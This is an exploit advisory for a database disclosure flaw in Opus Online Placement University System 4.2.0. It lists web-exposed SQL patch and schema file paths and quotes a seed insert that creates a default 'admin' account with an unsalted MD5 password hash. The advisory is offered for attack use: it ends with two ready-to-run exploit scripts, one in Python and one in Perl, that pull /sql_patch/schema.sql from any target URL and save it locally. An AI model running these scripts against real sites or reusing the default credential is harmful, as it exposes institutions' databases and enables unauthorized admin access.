Opus Online Placement University System version 4.2.0 suffers from a database disclosure vulnerability.
075512ec53eedb5de2a0b47d1fbcfd45###########################################################################
# Exploit Title : Opus Online Placement University System 4.2.0 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 12/04/2019
# Vendor Homepage : foss.ulster.ac.uk
# Software Download Link : foss.ulster.ac.uk/redmine/projects/opus/files
github.com/profcturner/opus/archive/master.zip
foss.ulster.ac.uk/redmine/attachments/download/1/opus_4.2.0.orig.tar.gz
# Software Information Link : foss.ulster.ac.uk/redmine/projects/opus
github.com/profcturner/opus
# Software Version : 4.2.0 and lower versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
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# Information about Software :
****************************
OPUS: Online Placement University System, for online management of work based learning.
Developed By Ulster University from England - [ Great Britain ]
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# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
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File :
******
/sql_patch/data.sql
-- Add an admin user
INSERT INTO `user` (real_name, salutation, firstname, lastname, username,
password, user_type, id) VALUES('OPUS Front Desk', 'OPUS', 'Front',
'Desk', 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'root', 1);
INSERT INTO `admin` (position, user_id) values('administrator', 1);
raw.githubusercontent.com/profcturner/opus/master/sql_patch/data.sql
/sql_patch/patch_3.3.x_4.0.0.sql
raw.githubusercontent.com/profcturner/opus/master/sql_patch/patch_3.3.x_4.0.0.sql
/sql_patch/patch_4.0.2_4.1.0.sql
raw.githubusercontent.com/profcturner/opus/master/sql_patch/patch_4.0.2_4.1.0.sql
/sql_patch/patch_4.1.0_4.1.1.sql
raw.githubusercontent.com/profcturner/opus/master/sql_patch/patch_4.1.0_4.1.1.sql
/sql_patch/patch_4.1.1_4.2.0.sql
raw.githubusercontent.com/profcturner/opus/master/sql_patch/patch_4.1.1_4.2.0.sql
File :
*******
/sql_patch/schema.sql
Information :
*************
-- MySQL dump 10.11
--
-- Host: localhost Database: opusproduction
-- ------------------------------------------------------
-- Server version 5.0.32-Debian_7etch5-log
raw.githubusercontent.com/profcturner/opus/master/sql_patch/schema.sql
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# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/sql_patch/schema.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
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# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Opus Online Placement University System 4.2.0 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="sql_patch/schema.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/sql_patch/schema.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/sql_patch/schema.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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